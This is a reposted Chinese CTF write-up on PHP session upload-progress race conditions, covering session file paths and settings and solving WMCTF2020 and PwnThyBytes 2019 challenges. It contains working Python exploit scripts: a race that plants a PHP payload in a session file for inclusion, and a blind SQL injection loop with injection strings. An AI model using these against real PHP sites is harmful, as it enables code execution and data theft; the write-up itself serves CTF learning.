iis服务器助手广告广告
返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >PHP Session条件竞争问题怎么解决
  • 310
分享到

PHP Session条件竞争问题怎么解决

2023-07-04 19:07:39 310人浏览 薄情痞子
摘要

这篇文章主要介绍“PHP Session条件竞争问题怎么解决”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“php Session条件竞争问题怎么解决”文章能帮助大家解决问题。PH

这篇文章主要介绍“PHP Session条件竞争问题怎么解决”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“php Session条件竞争问题怎么解决”文章能帮助大家解决问题。

PHP SESSION 的存储

Session会话存储方式

PHP将session以文件的形式存储服务器的文件中,session.save_path来控制

默认路径

/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID 

session文件默认是/var/lib/php/sessions目录下,文件名是sess_加上sessionID字段

但是在赛题中大多数都是/tmp目录下,需要php.ini力sesion.auto_start设置为1,然后修改目录

session.auto_start:如果开启这个选项,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,也是通常情况下,这个选项都是默认关闭的。

session.upload_progress.cleanup = on:表示当文件上传结束后,php将会立即清空对应session文件中的内容。该选项默认开启

session.use_strict_mode:默认情况下,该选项的值是0,此时用户可以自己定义Session ID。

使用 python 实现创建 Session 文件的过程:

import ioimport requestsimport threadingsessid = 'whoami'def POST(session):    f = io.BytesIO(b'a' * 1024 * 50)    session.post(        'Http://192.168.43.82/index.php',        data={"PHP_SESSION_UPLOAD_PROGRESS":"123"},  //用来改变session中的值        files={"file":('q.txt', f)},        cookies={'PHPSESSID':sessid} //用来sesssion中的文件名  sess_whoami    )with requests.session() as session:    while True:        POST(session)        print("[+] 成功写入sess_whoami")

[WMCTF2020]Make PHP Great Again

<?phphighlight_file(__FILE__);require_once 'flag.php';if(isset($_GET['file'])) {  require_once $_GET['file'];}

这道题是文件包含,已经包含过了一次flag.php,就不能二次包含了,一种方法是软连接/proc/self/root绕过

/proc/self指向当前进程的/proc/pid/

/proc/self/root/是指向/的符号链接

这道题也可以 用条件竞争进行,

import ioimport sysimport requestsimport threadinghost = 'http://6417a062-bc49-48f8-bbad-2b203887ba46.node4.buuoj.cn:81/'sessid = 'feng'def POST(session): while True:  f = io.BytesIO(b'a' * 1024 * 50)  session.post(  host,  data={ # "PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat flag.php');echo md5('1');?>"},  "PHP_SESSION_UPLOAD_PROGRESS": "<?php phpinfo();echo md5('1');?>"},//session存值  files={  "file":('a.txt', f)},  cookies={   'PHPSESSID':sessid}//改名    )def READ(session): while True:   response = session.get(f'{host}?file=/tmp/sess_{sessid}')//路径# print(response.text)   if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text://1的md5      print('[+++]retry')   else:      print(response.text)      sys.exit(0)with requests.session() as session:  t1 = threading.Thread(target=POST, args=(session, ))//线程可以套循环 多层线程  t1.daemon = True  //相当完成任务直接结束,不用等线程全部结束  t1.start()  READ(session)

PHP Session条件竞争问题怎么解决

线程结束后,想在网页获得php坏境页面可是找不到,

PHP Session条件竞争问题怎么解决

[PwnThyBytes 2019]Baby_sql

访问源码,获得source.zip

打开后发现index.php

<?phpsession_start();foreach ($_SESSION as $key => $value): $_SESSION[$key] = filter($value); endforeach;foreach ($_GET as $key => $value): $_GET[$key] = filter($value); endforeach;foreach ($_POST as $key => $value): $_POST[$key] = filter($value); endforeach;foreach ($_REQUEST as $key => $value): $_REQUEST[$key] = filter($value); endforeach;function filter($value){    !is_string($value) AND die("Hacking attempt!");    return addslashes($value);}isset($_GET['p']) AND $_GET['p'] === "reGISter" AND $_SERVER['REQUEST_METHOD'] === 'POST' AND isset($_POST['username']) AND isset($_POST['passWord']) AND @include('templates/register.php');isset($_GET['p']) AND $_GET['p'] === "login" AND $_SERVER['REQUEST_METHOD'] === 'GET' AND isset($_GET['username']) AND isset($_GET['password']) AND @include('templates/login.php');isset($_GET['p']) AND $_GET['p'] === "home" AND @include('templates/home.php');?>

都要经过最后的过滤,然后通过传参p进行包含templates目录下面的文件

login.php

<?php!isset($_SESSION) AND die("Direct access on this script is not allowed!");include 'db.php';$sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="' . $_GET['username'] . '" and password="' . md5($_GET['password']) . '";';$result = $con->query($sql);function auth($user){    $_SESSION['username'] = $user;    return True;}($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!'));?>

发现就login.php里面没有过滤,然后

!isset($_SESSION) AND die("Direct access on this script is not allowed!");

意思为如果不存在session就die输出,前面的为true才执行后面的

($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!'));

OR前面是false才执行后面的语句。然后这里的意思前面有个大的括号里有一个满足就会执行$con->close(),然后这个执行返回true的话就会执行die(“Not allowed!”);

所以如果我们要直接访问login.php进行sql注入的话,还需要带上一个session才行,这里边用上了我们的PHP_SESSION_UPLOAD_PROGRESS了。我们可以使用PHP_SESSION_UPLOAD_PROGRESS来在目标服务器上初始化一个session,然后便可以绕过index.php中的检测,直接访问login.php进行sql注入了。

import requestsurl = "http://d9cf1c36-45c7-47e2-b0f9-1da95406b5d3.node4.buuoj.cn:81/templates/login.php"//这个templates是因为login.php在这个目录下面files = {"file": "123456789"}a = requests.post(url=url, files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},                  cookies={"PHPSESSID": "test1"}, params={'username': 'test', 'password': 'test'},                  proxies={'http': "http://127.0.0.1:8080"})通过这个接口,burp就可以抓包到print(a.text)

然后对username进行注入,发现是用"进行闭合,然后回显,可以用盲注实现

<meta http-equiv="refresh" content="0; url=?p=home" />

import requestsimport timeurl = "http://d8412613-fa2e-4a01-bd02-c0dea96bce33.node4.buuoj.cn:81/templates/login.php"files = {"file": "123456789"}flag=''for i in range(1,100):    low = 32    high = 128    mid = (low+high)//2    while (low < high):        time.sleep(0.06)        #payload_flag ={'username': "test\" or (ascii(substr((select group_concat(username) from ptbctf ),{0},1))>{1}) #".fORMat(i, mid),'password': 'test'}        payload_flag = {            'username': 'test" or (ascii(substr(database(),{0},1))>{1}) #'.format(i,mid),'password': 'test'}        r = requests.post(url=url,params=payload_flag,files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},                  cookies={"PHPSESSID": "test1"})         print(payload_flag)        if '<meta http-equiv="refresh" content="0; url=?p=home" />' in r.text:            low = mid +1        else:            high = mid        mid = (low + high) // 2    if(mid==32 ):        break    flag +=chr(mid)    print(flag)print(flag)

关于“PHP Session条件竞争问题怎么解决”的内容就介绍到这里了,感谢大家的阅读。如果想了解更多行业相关的知识,可以关注编程网PHP编程频道,小编每天都会为大家更新不同的知识点。

--结束END--

本文标题: PHP Session条件竞争问题怎么解决

本文链接: https://www.lsjlt.com/news/347041.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • PHP Session条件竞争问题怎么解决
    这篇文章主要介绍“PHP Session条件竞争问题怎么解决”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“PHP Session条件竞争问题怎么解决”文章能帮助大家解决问题。PH...
    99+
    2023-07-04
  • React竞态条件Race Condition问题怎么解决
    本篇内容主要讲解“React竞态条件Race Condition问题怎么解决”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“React竞态条件Race Condition问题怎...
    99+
    2023-07-04
  • React竞态条件Race Condition问题怎么解决
    React中的竞态条件(Race Condition)问题通常发生在异步操作中,当多个异步操作同时修改同一个状态时可能会导致不确定的...
    99+
    2023-08-15
    React
  • Go语言中资源竞争问题怎么解决
    这篇“Go语言中资源竞争问题怎么解决”文章的知识点大部分人都不太理解,所以小编给大家总结了以下内容,内容详细,步骤清晰,具有一定的借鉴价值,希望大家阅读完这篇文章能有所收获,下面我们一起来看看这篇“Go语言中资源竞争问题怎么解决”文章吧。场...
    99+
    2023-07-05
  • MySQL中的锁竞争问题如何解决
    MySQL中的锁竞争问题可以通过以下方式解决: 优化查询语句:尽量避免长时间持有锁的操作,可以通过优化查询语句、建立合适的索引等...
    99+
    2024-04-30
    MySQL
  • Hibernate session问题怎么解决
    这篇文章主要介绍“Hibernate session问题怎么解决”,在日常操作中,相信很多人在Hibernate session问题怎么解决问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”Hibernate s...
    99+
    2023-06-17
  • ASP IDE并发存储:如何解决数据竞争问题?
    在ASP IDE中,我们经常会遇到多个用户同时访问同一份数据的情况。这时候如果不处理好并发存储问题,就会导致数据竞争,进而影响系统的稳定性和可靠性。本文将介绍ASP IDE中并发存储的问题以及如何解决数据竞争问题。 并发存储问题 在A...
    99+
    2023-09-07
    ide 并发 存储
  • php重复开启session问题怎么解决
    在PHP中,如果重复开启session会导致出错或者session数据丢失。为了解决这个问题,可以使用session_id()函数来...
    99+
    2023-08-17
    php session
  • Linux内核竞争条件漏洞导致远程代码执行该怎么解决
    本篇文章为大家展示了Linux内核竞争条件漏洞导致远程代码执行该怎么解决,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。运行了 Linux 发行版的计算机设备,如果内核版本小于5.0.8的话,将有可能...
    99+
    2023-06-05
  • Go语言中如何解决并发资源竞争的问题?
    Go语言中如何解决并发资源竞争的问题?在并发编程中,资源竞争是一种常见的问题,指的是多个goroutine同时访问、读写共享的资源导致的不确定行为。Go语言提供了一些机制来解决并发资源竞争的问题,本文将介绍一些常用的方法,并给出具体的代码示...
    99+
    2023-10-22
    信号量(Semaphore) 互斥锁(Mutex) 通道(Channel)
  • Go语言中如何解决并发资源竞争的问题
    在Go语言中,可以使用以下几种方法来解决并发资源竞争的问题:1. 互斥锁(Mutex):使用`sync.Mutex`类型来创建一个互...
    99+
    2023-10-09
    Go语言
  • 怎么解决分布式session问题
    本篇内容介绍了“怎么解决分布式session问题”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!sessio...
    99+
    2024-04-02
  • Nginx+resin session问题该怎么解决
    Nginx+resin session问题该怎么解决,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。测试环境:server1   服务器上安装...
    99+
    2023-06-16
  • PHP如何解决丢失SESSION的问题
    小编给大家分享一下PHP如何解决丢失SESSION的问题,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!1.1  丢失S...
    99+
    2024-04-02
  • PHP Session 跨域问题的解决方法
    在前后端分离的开发中,跨域请求已成为常态。在处理跨域问题时,我们通常会涉及到 session 的使用和管理。然而,由于浏览器的同源策略限制,跨域情况下默认情况下无法共享 session。为了解决这个问题,我们需要采用一些技巧和方法来实现 s...
    99+
    2023-10-21
    PHP session 跨域
  • Java编程中的并发索引算法:解决多线程竞争的问题?
    在Java编程中,多线程并发是一个常见的问题。在多个线程同时访问共享资源时,由于访问的顺序和时间不确定,就会产生竞争的问题。这种竞争会导致程序出现意想不到的结果,甚至引发严重的错误。为了解决这个问题,Java提供了一些并发算法来帮助开发者...
    99+
    2023-06-30
    索引 编程算法 并发
  • 解决 PHP Session 跨域问题的开源解决方案
    引言:在开发网站和应用程序时,我们常常会遇到跨域问题。其中一个常见的问题是 PHP Session 在跨域情况下无法正常使用。本文将介绍一种开源解决方案,帮助开发者解决 PHP Session 跨域问题,并提供具体的代码示例。一、背景和问题...
    99+
    2023-10-21
    PHP session 跨域问题
  • Node.js刷新session过期问题怎么解决
    这篇文章主要讲解了“Node.js刷新session过期问题怎么解决”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“Node.js刷新session过期问题怎...
    99+
    2024-04-02
  • 解决 PHP Session 跨域问题的调试技巧
    随着互联网的普及,Web 应用程序的开发越来越受到人们的关注。在开发 Web 应用程序时,经常会遇到跨域问题,例如在一个域名下的 PHP 程序需要访问另一个域名下的 Session 数据。在这篇文章中,我们将讨论如何解决 PHP Sessi...
    99+
    2023-10-21
    PHP跨域问题解决 Session调试技巧
  • 解决 PHP Session 跨域问题的最佳实践
    随着互联网的发展,前后端分离的开发模式越来越普遍。在这种模式下,前端与后端可能部署在不同的域名下,这就导致了跨域问题的出现。而在使用 PHP 的过程中,跨域问题也涉及到 Session 的传递与管理。本文将介绍PHP中解决 Session ...
    99+
    2023-10-21
    最佳实践 PHP Session 跨域问题
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作